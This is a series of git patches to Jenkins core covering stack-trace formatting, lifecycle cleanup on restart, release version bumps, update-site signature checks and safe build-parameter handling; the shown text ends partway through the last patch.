From 59ebaf43a6a5526d134353ace7d17eedcfbe77d0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 6 Nov 2013 10:16:36 -0500 Subject: [PATCH 001/811] Follow suggestion from JDK-6507809 [1] to print stack traces in a readable order. Would still need to handle some corner cases; write unit tests; and replace existing calls to Throwable.printStackTrace. [1] https://bugs.openjdk.java.net/browse/JDK-6507809 --- core/src/main/java/hudson/Functions.java | 39 +++++++++++++++++++++--- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index eb4330bc76..53f53f2c52 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -82,7 +82,6 @@ import hudson.widgets.RenderOnDemandClosure; import java.io.File; import java.io.IOException; -import java.io.PrintWriter; import java.io.StringWriter; import java.io.UnsupportedEncodingException; import java.lang.management.LockInfo; @@ -1356,9 +1355,41 @@ public class Functions { } public static String printThrowable(Throwable t) { - StringWriter sw = new StringWriter(); - t.printStackTrace(new PrintWriter(sw)); - return sw.toString(); + StringBuilder s = new StringBuilder(); + doPrintStackTrace(s, t, null); + return s.toString(); + } + private static void doPrintStackTrace(StringBuilder s, Throwable t, Throwable higher) { + // TODO check if t overrides printStackTrace + // TODO handle suppressed exceptions + Throwable lower = t.getCause(); + if (lower != null) { + doPrintStackTrace(s, lower, t); + s.append("Caused: "); + } + String summary = t.toString(); + if (lower != null) { + String suffix = ": " + lower; + if (summary.endsWith(suffix)) { + summary = summary.substring(0, summary.length() - suffix.length()); + } + } + s.append(summary).append('\n'); + StackTraceElement[] trace = t.getStackTrace(); + int end = trace.length; + if (higher != null) { + StackTraceElement[] higherTrace = higher.getStackTrace(); + while (end > 0) { + int higherEnd = end + higherTrace.length - trace.length; + if (higherEnd <= 0 || !higherTrace[higherEnd - 1].equals(trace[end - 1])) { + break; + } + end--; + } + } + for (int i = 0; i < end; i++) { + s.append("\tat ").append(trace[i]).append('\n'); + } } /** -- GitLab From f73255968f1570ada189c28afd74466ccbfe377f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 29 May 2015 07:54:36 -0400 Subject: [PATCH 002/811] Use system line separator. --- core/src/main/java/hudson/Functions.java | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 970e3b0f62..5fbe79bb91 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -151,6 +151,7 @@ import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.util.RunList; import java.util.concurrent.atomic.AtomicLong; +import org.apache.commons.io.IOUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -1411,7 +1412,7 @@ public class Functions { summary = summary.substring(0, summary.length() - suffix.length()); } } - s.append(summary).append('\n'); + s.append(summary).append(IOUtils.LINE_SEPARATOR); StackTraceElement[] trace = t.getStackTrace(); int end = trace.length; if (higher != null) { @@ -1425,7 +1426,7 @@ public class Functions { } } for (int i = 0; i < end; i++) { - s.append("\tat ").append(trace[i]).append('\n'); + s.append("\tat ").append(trace[i]).append(IOUtils.LINE_SEPARATOR); } } -- GitLab From 47cb028ac308b5a2a12d1859408a331154d2c77e Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 29 May 2015 08:02:59 -0400 Subject: [PATCH 003/811] Added Javadoc. --- core/src/main/java/hudson/Functions.java | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 5fbe79bb91..a285476b7a 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -150,7 +150,10 @@ import org.kohsuke.stapler.jelly.InternationalizedStringExpression.RawHtmlArgume import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.util.RunList; +import java.io.PrintWriter; import java.util.concurrent.atomic.AtomicLong; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import org.apache.commons.io.IOUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -1392,12 +1395,19 @@ public class Functions { return value!=null ? value : defaultValue; } - public static String printThrowable(Throwable t) { + /** + * Prints a stack trace from an exception into a readable form. + * Unlike {@link Throwable#printStackTrace(PrintWriter)}, this implementation follows the suggestion of JDK-6507809 + * to produce a linear trace even when {@link Throwable#getCause} is used. + * @param t any throwable + * @return generally a multiline string ending in a (platform-specific) newline + */ + public static @Nonnull String printThrowable(@Nonnull Throwable t) { StringBuilder s = new StringBuilder(); doPrintStackTrace(s, t, null); return s.toString(); } - private static void doPrintStackTrace(StringBuilder s, Throwable t, Throwable higher) { + private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher) { // TODO check if t overrides printStackTrace // TODO handle suppressed exceptions Throwable lower = t.getCause(); -- GitLab From 6bca813768e763a75a51f8f4f031574f2e60b764 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 29 May 2015 08:42:30 -0400 Subject: [PATCH 004/811] Starting to write tests for printThrowable. --- core/src/test/java/hudson/FunctionsTest.java | 43 ++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 45f845f181..26bcfcddfe 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -35,7 +35,10 @@ import java.util.List; import java.util.Locale; import java.util.logging.Level; import java.util.logging.LogRecord; +import java.util.regex.Matcher; +import java.util.regex.Pattern; import jenkins.model.Jenkins; +import org.apache.commons.io.IOUtils; import static org.junit.Assert.*; import org.junit.Ignore; import org.junit.Test; @@ -339,4 +342,44 @@ public class FunctionsTest { assertEquals("Bad input <xml/>\n", Functions.printLogRecordHtml(lr, null)[3]); } + @Issue("JDK-6507809") + @Test public void printThrowable() throws Exception { + Throwable x; + try { + method1(); + throw new AssertionError(); + } catch (IllegalStateException _x) { + x = _x; + } + String stack = Functions.printThrowable(x).replace(IOUtils.LINE_SEPARATOR, "\n"); + Matcher m = Pattern.compile( + "java\\.lang\\.NullPointerException: oops\n" + + "\tat hudson\\.FunctionsTest\\.method2\\(FunctionsTest\\.java:(\\d+)\\)\n" + + "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + + "Caused: java\\.lang\\.IllegalStateException\n" + + "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + + "\tat hudson\\.FunctionsTest\\.printThrowable\\(FunctionsTest\\.java:\\d+\\)\n" + + "(\tat .+\n)+").matcher(stack); + assertTrue(stack, m.matches()); + int throwNPE = Integer.parseInt(m.group(1)); + int callToMethod2 = Integer.parseInt(m.group(2)); + int throwISE = Integer.parseInt(m.group(3)); + assertEquals(callToMethod2 + 2, throwISE); + assertEquals(callToMethod2 + 6, throwNPE); + // TODO assert display of new WrapperException("more info", wrapped) + // TODO assert display of new WrapperException("more info: " + wrapped, wrapped) + // TODO assert that full stack is preserved if wrapped does not share a common stack (e.g., comes from an executor service thread) + } + // Do not change line spacing of these: + private static void method1() { + try { + method2(); + } catch (Exception x) { + throw new IllegalStateException(x); + } + } + private static void method2() { + throw new NullPointerException("oops"); + } + } -- GitLab From d69ae563eb16e236410fca464862a6e768c1ac8d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 29 Oct 2015 18:57:03 -0400 Subject: [PATCH 005/811] Call hpi:record-core-location. --- core/pom.xml | 1 + pom.xml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 556990ce9a..fe1af5e25f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -640,6 +640,7 @@ THE SOFTWARE. generate-taglib-interface + record-core-location diff --git a/pom.xml b/pom.xml index 01c8df0f93..5090c699a9 100644 --- a/pom.xml +++ b/pom.xml @@ -511,7 +511,7 @@ THE SOFTWARE. org.jenkins-ci.tools maven-hpi-plugin - 1.114 + 1.116-SNAPSHOT org.apache.maven.plugins -- GitLab From c7fd90a8796fe0ad80bfe37a9837af4515fbf5cb Mon Sep 17 00:00:00 2001 From: Ted Date: Sat, 28 Nov 2015 16:23:59 +0800 Subject: [PATCH 006/811] fix JENKINS-31768 dead lock while removing computer --- core/src/main/java/hudson/model/Computer.java | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 547e51c753..3815571fd2 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -828,7 +828,19 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces protected void onRemoved(){ } - private synchronized void setNumExecutors(int n) { + /** + * Calling path, *means protected by Queue.withLock + * + * Computer.doConfigSubmit -> Computer.replaceBy ->Jenkins.setNodes* ->Computer.setNode + * AbstractCIBase.updateComputerList->Computer.inflictMortalWound* + * AbstractCIBase.updateComputerList->AbstractCIBase.updateComputer* ->Computer.setNode + * AbstractCIBase.updateComputerList->AbstractCIBase.killComputer->Computer.kill + * Computer.constructor->Computer.setNode + * Computer.kill is called after numExecutors set to zero(Computer.inflictMortalWound) so not need the Queue.lock + * + * @param number of executors + */ + private void setNumExecutors(int n) { this.numExecutors = n; final int diff = executors.size()-n; -- GitLab From 5d4ec31aa550e923ed484a90fc172b1716a2d43d Mon Sep 17 00:00:00 2001 From: atcarmo Date: Sun, 7 Feb 2016 01:31:58 +0000 Subject: [PATCH 007/811] Jenkins.CleanUp() is now called on restart() implementation of WindowsServiceLifecycle. --- .../main/java/hudson/lifecycle/WindowsServiceLifecycle.java | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java index 11f364e953..e038dfa179 100644 --- a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java @@ -120,6 +120,11 @@ public class WindowsServiceLifecycle extends Lifecycle { @Override public void restart() throws IOException, InterruptedException { + Jenkins jenkins = Jenkins.getInstance(); + if (jenkins != null) { + jenkins.cleanUp(); + } + File me = getHudsonWar(); File home = me.getParentFile(); -- GitLab From 1c9471600259e5d44b3ddb4a5322e8ef3725eef5 Mon Sep 17 00:00:00 2001 From: atcarmo Date: Wed, 10 Feb 2016 12:53:39 +0000 Subject: [PATCH 008/811] CleanUp() call during restart() is now surrounded but try/catch, which allows the restart to continue if the cleanUp() method fails. --- core/src/main/java/hudson/WebAppMain.java | 9 +++++++-- .../hudson/lifecycle/SolarisSMFLifecycle.java | 15 ++++++++++++--- .../main/java/hudson/lifecycle/UnixLifecycle.java | 15 ++++++++++++--- .../hudson/lifecycle/WindowsServiceLifecycle.java | 8 ++++++-- 4 files changed, 37 insertions(+), 10 deletions(-) diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index d3375be646..3d7621e368 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -393,8 +393,13 @@ public class WebAppMain implements ServletContextListener { public void contextDestroyed(ServletContextEvent event) { terminated = true; Jenkins instance = Jenkins.getInstance(); - if(instance!=null) - instance.cleanUp(); + try { + if (instance != null) { + instance.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); + } Thread t = initThread; if (t != null && t.isAlive()) { LOGGER.log(Level.INFO, "Shutting down a Jenkins instance that was still starting up", new Throwable("reason")); diff --git a/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java b/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java index 9da1505229..6bd7068011 100644 --- a/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/SolarisSMFLifecycle.java @@ -26,6 +26,8 @@ package hudson.lifecycle; import jenkins.model.Jenkins; import java.io.IOException; +import java.util.logging.Level; +import java.util.logging.Logger; /** * {@link Lifecycle} for Hudson installed as SMF service. @@ -38,9 +40,16 @@ public class SolarisSMFLifecycle extends Lifecycle { */ @Override public void restart() throws IOException, InterruptedException { - Jenkins h = Jenkins.getInstance(); - if (h != null) - h.cleanUp(); + Jenkins jenkins = Jenkins.getInstance(); + try { + if (jenkins != null) { + jenkins.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); + } System.exit(0); } + + private static final Logger LOGGER = Logger.getLogger(SolarisSMFLifecycle.class.getName()); } diff --git a/core/src/main/java/hudson/lifecycle/UnixLifecycle.java b/core/src/main/java/hudson/lifecycle/UnixLifecycle.java index 0e489277e5..bfdc15a0c8 100644 --- a/core/src/main/java/hudson/lifecycle/UnixLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/UnixLifecycle.java @@ -28,6 +28,8 @@ import com.sun.jna.Native; import com.sun.jna.StringArray; import java.io.IOException; +import java.util.logging.Level; +import java.util.logging.Logger; import static hudson.util.jna.GNUCLibrary.*; @@ -65,9 +67,14 @@ public class UnixLifecycle extends Lifecycle { @Override public void restart() throws IOException, InterruptedException { - Jenkins h = Jenkins.getInstance(); - if (h != null) - h.cleanUp(); + Jenkins jenkins = Jenkins.getInstance(); + try { + if (jenkins != null) { + jenkins.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); + } // close all files upon exec, except stdin, stdout, and stderr int sz = LIBC.getdtablesize(); @@ -96,4 +103,6 @@ public class UnixLifecycle extends Lifecycle { if (args==null) throw new RestartNotSupportedException("Failed to obtain the command line arguments of the process",failedToObtainArgs); } + + private static final Logger LOGGER = Logger.getLogger(UnixLifecycle.class.getName()); } diff --git a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java index e038dfa179..e63d41e132 100644 --- a/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java +++ b/core/src/main/java/hudson/lifecycle/WindowsServiceLifecycle.java @@ -121,8 +121,12 @@ public class WindowsServiceLifecycle extends Lifecycle { @Override public void restart() throws IOException, InterruptedException { Jenkins jenkins = Jenkins.getInstance(); - if (jenkins != null) { - jenkins.cleanUp(); + try { + if (jenkins != null) { + jenkins.cleanUp(); + } + } catch (Exception e) { + LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); } File me = getHudsonWar(); -- GitLab From 6bb2be8225c0eb3305b1388867ba78e522c3a356 Mon Sep 17 00:00:00 2001 From: atcarmo Date: Wed, 10 Feb 2016 14:38:52 +0000 Subject: [PATCH 009/811] The cleanUp() call was in the wrong position. I've put it in the beginning of the method. --- core/src/main/java/hudson/WebAppMain.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index 3d7621e368..a1ce69afc9 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -391,7 +391,6 @@ public class WebAppMain implements ServletContextListener { } public void contextDestroyed(ServletContextEvent event) { - terminated = true; Jenkins instance = Jenkins.getInstance(); try { if (instance != null) { @@ -400,6 +399,8 @@ public class WebAppMain implements ServletContextListener { } catch (Exception e) { LOGGER.log(Level.SEVERE, "Failed to clean up. Restart will continue.", e); } + + terminated = true; Thread t = initThread; if (t != null && t.isAlive()) { LOGGER.log(Level.INFO, "Shutting down a Jenkins instance that was still starting up", new Throwable("reason")); -- GitLab From b6bbc1414e31840e0c09dbff080019c3c8e92a35 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 11 May 2016 10:14:10 -0700 Subject: [PATCH 010/811] [maven-release-plugin] prepare release jenkins-1.651.2 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index a7f462da19..f12d56cfb9 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 cli diff --git a/core/pom.xml b/core/pom.xml index 81e6c1a321..2e5a2b18f2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 jenkins-core diff --git a/pom.xml b/pom.xml index 90cd9dda1e..d52cdc7b94 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-1.651.2 diff --git a/test/pom.xml b/test/pom.xml index fb89b44e9d..ce21cadead 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 test diff --git a/war/pom.xml b/war/pom.xml index bd67ebb071..f23dad62f0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2-SNAPSHOT + 1.651.2 jenkins-war -- GitLab From 39dae396771e039468bbe4d5c6f5eb8033f10c3b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 11 May 2016 10:14:10 -0700 Subject: [PATCH 011/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f12d56cfb9..a16661f4a4 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2e5a2b18f2..8b6c4f8cfe 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index d52cdc7b94..7cca3b2eb5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-1.651.2 + HEAD diff --git a/test/pom.xml b/test/pom.xml index ce21cadead..d62c6e4280 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index f23dad62f0..fde804f11e 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-war -- GitLab From 67eaeb64ab2eda79074f20615c518e800320487d Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Tue, 15 Mar 2016 14:58:52 +0100 Subject: [PATCH 012/811] Logging the job which cannot create a new build when IllegalAccessException is thrown --- core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java b/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java index b206035c38..20af3534ea 100644 --- a/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java +++ b/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java @@ -176,13 +176,11 @@ public abstract class LazyBuildMixIn & Queue.Task & builds.put(lastBuild); lastBuild.getPreviousBuild(); // JENKINS-20662: create connection to previous build return lastBuild; - } catch (InstantiationException e) { - throw new Error(e); - } catch (IllegalAccessException e) { - throw new Error(e); } catch (InvocationTargetException e) { + LOGGER.log(Level.WARNING, String.format("A new build could not be created in job %s", asJob().getFullName()), e); throw handleInvocationTargetException(e); - } catch (NoSuchMethodException e) { + } catch (ReflectiveOperationException | IllegalStateException e) { + LOGGER.log(Level.WARNING, String.format("A new build could not be created in job %s", asJob().getFullName()), e); throw new Error(e); } } -- GitLab From 12e79963cca5122351943ee107f65c3ad91a2e25 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 14 May 2016 10:59:22 +0200 Subject: [PATCH 013/811] [JENKINS-19445, JENKINS-34213, JENKINS-34808, JENKINS-34121] Bump remoting to 2.59. (#2344) * [JENKINS-19445, JENKINS-34213, JENKINS-34808] Bump remoting to 2.58. Changes: * [JENKINS-34213](https://issues.jenkins-ci.org/browse/JENKINS-34213) - Ensure that the unexporter cleans up whatever it can each sweep (https://github.com/jenkinsci/remoting/pull/81) * [JENKINS-19445](https://issues.jenkins-ci.org/browse/JENKINS-19445) Force class load on UserRequest in order to prevent deadlock on windows nodes when using JNA and Subversion (https://github.com/jenkinsci/remoting/pull/81) * [JENKINS-34808](https://issues.jenkins-ci.org/browse/JENKINS-34808) - Allow user to adjust socket timeout (https://github.com/jenkinsci/remoting/pull/68) * [JENKINS-34121] - Upgrade remoting to 2.59 (cherry picked from commit 409438f36dc80f20964fb16f8d88041e11ba4ed4) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index d52cdc7b94..e6404ea82b 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.57 + 2.59 -- GitLab From d53cab3ef68b62a4a6dbb247012577c338dfc133 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Wed, 25 May 2016 09:33:30 +0200 Subject: [PATCH 014/811] [JENKINS-33467] Adjust reported Jenkins version number for LTS --- core/src/main/java/hudson/model/CauseAction.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/CauseAction.java b/core/src/main/java/hudson/model/CauseAction.java index b065715db8..959dd595a5 100644 --- a/core/src/main/java/hudson/model/CauseAction.java +++ b/core/src/main/java/hudson/model/CauseAction.java @@ -187,7 +187,7 @@ public class CauseAction implements FoldableAction, RunAction2 { ca.causeBag = new LinkedHashMap<>(); } ca.addCauses(ca.causes); - OldDataMonitor.report(context, "1.653"); + OldDataMonitor.report(context, " 1.651.2"); ca.causes = null; } } -- GitLab From 02725adfa16d58a6743c767bc00c370bb89f38b5 Mon Sep 17 00:00:00 2001 From: Carlos Rendon Date: Thu, 12 May 2016 07:38:27 -0700 Subject: [PATCH 015/811] Fix RSS id for builds in folders (#1965) [JENKINS-34767] - Prevent RSS ID collisions for items with same name in different folders (cherry picked from commit d8076e9654a4be6cd0792ea954363b209c44313b) --- core/src/main/java/hudson/model/Run.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index c4f64ccade..0f9b42c6f5 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -2394,7 +2394,7 @@ public abstract class Run ,RunT extends Run Date: Sat, 14 May 2016 14:05:35 +0200 Subject: [PATCH 016/811] [JENKINS-34745] - Prevent CheckUpdates PeriodicWork death if update site cert is missing (#2333) * [JENKINS-34745] - Prevent CheckUpdates PeriodicWork death in the case of the missing update site signature * [JENKINS-34745] - Fix typo in the validator * [JENKINS-34745] - Fix the formatting of the validation message (cc @lanwen) (cherry picked from commit 1e6afbae3b82936602f28c402379e04d0b00a47e) --- core/src/main/java/hudson/PluginManager.java | 26 +++++++++++-------- .../jenkins/util/JSONSignatureValidator.java | 6 ++++- 2 files changed, 20 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index ea2acff5ef..d565ffe287 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -978,20 +978,24 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas @Restricted(NoExternalUse.class) @RequirePOST public HttpResponse doCheckUpdatesServer() throws IOException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); - for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { - FormValidation v = site.updateDirectlyNow(DownloadService.signatureCheck); - if (v.kind != FormValidation.Kind.OK) { - // TODO crude but enough for now - return v; + try { + for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { + FormValidation v = site.updateDirectlyNow(DownloadService.signatureCheck); + if (v.kind != FormValidation.Kind.OK) { + // TODO crude but enough for now + return v; + } } - } - for (DownloadService.Downloadable d : DownloadService.Downloadable.all()) { - FormValidation v = d.updateNow(); - if (v.kind != FormValidation.Kind.OK) { - return v; + for (DownloadService.Downloadable d : DownloadService.Downloadable.all()) { + FormValidation v = d.updateNow(); + if (v.kind != FormValidation.Kind.OK) { + return v; + } } + return HttpResponses.forwardToPreviousPage(); + } catch(RuntimeException ex) { + throw new IOException("Unhandled exception during updates server check", ex); } - return HttpResponses.forwardToPreviousPage(); } protected String identifyPluginShortName(File t) { diff --git a/core/src/main/java/jenkins/util/JSONSignatureValidator.java b/core/src/main/java/jenkins/util/JSONSignatureValidator.java index 76d422cd90..2ce8e886ab 100644 --- a/core/src/main/java/jenkins/util/JSONSignatureValidator.java +++ b/core/src/main/java/jenkins/util/JSONSignatureValidator.java @@ -82,7 +82,11 @@ public class JSONSignatureValidator { // this is for computing a signature Signature sig = Signature.getInstance("SHA1withRSA"); - sig.initVerify(certs.get(0)); + if (certs.isEmpty()) { + return FormValidation.error("No certificate found in %s. Cannot verify the signature", name); + } else { + sig.initVerify(certs.get(0)); + } SignatureOutputStream sos = new SignatureOutputStream(sig); // until JENKINS-11110 fix, UC used to serve invalid digest (and therefore unverifiable signature) -- GitLab From baf831faf6ebf0b65b165b909575d26c8592c1a9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Wed, 11 May 2016 12:11:02 +0200 Subject: [PATCH 017/811] [JENKINS-34710] - PluginWrapper should not throw IOException if somebody enables the enabled plugin (#2327) (cherry picked from commit c83a8fdf0d048905928ba531d45527c1173f868d) --- core/src/main/java/hudson/PluginWrapper.java | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index c49b74b635..8fcd7b9b04 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -451,6 +451,10 @@ public class PluginWrapper implements Comparable, ModelObject { * Enables this plugin next time Jenkins runs. */ public void enable() throws IOException { + if (!disableFile.exists()) { + LOGGER.log(Level.FINEST, "Plugin {0} has been already enabled. Skipping the enable() operation", getShortName()); + return; + } if(!disableFile.delete()) throw new IOException("Failed to delete "+disableFile); } -- GitLab From 68a88a1e4229749df85799a91bb739f6a7d6e5a1 Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Thu, 19 May 2016 17:12:34 +0200 Subject: [PATCH 018/811] Merge pull request #2353 from rsandell/safe-parameters [JENKINS-34858] - Listed Parameters should reflect what was used when the build ran (cherry picked from commit 74d0412d74a6429765a98e8d8c52324139de8034) --- .../java/hudson/model/ParametersAction.java | 57 ++++++++--- .../hudson/model/ParametersActionTest2.java | 96 +++++++++++++++++++ 2 files changed, 140 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index c8ed6c7c3c..0f60268a11 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -46,6 +46,7 @@ import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Set; +import java.util.TreeSet; import java.util.logging.Level; import java.util.logging.Logger; @@ -73,7 +74,7 @@ public class ParametersAction implements RunAction2, Iterable, Q public static final String SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME = ParametersAction.class.getName() + ".safeParameters"; - private transient List safeParameters; + private Set safeParameters; private final List parameters; @@ -89,6 +90,29 @@ public class ParametersAction implements RunAction2, Iterable, Q public ParametersAction(List parameters) { this.parameters = parameters; + String paramNames = System.getProperty(SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); + safeParameters = new TreeSet<>(); + if (paramNames != null) { + safeParameters.addAll(Arrays.asList(paramNames.split(","))); + } + } + + /** + * Constructs a new action with additional safe parameters. + * The additional safe parameters should be only those considered safe to override the environment + * and what is declared in the project config in addition to those specified by the user in + * {@link #SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME}. + * See SECURITY-170 + * + * @param parameters the parameters + * 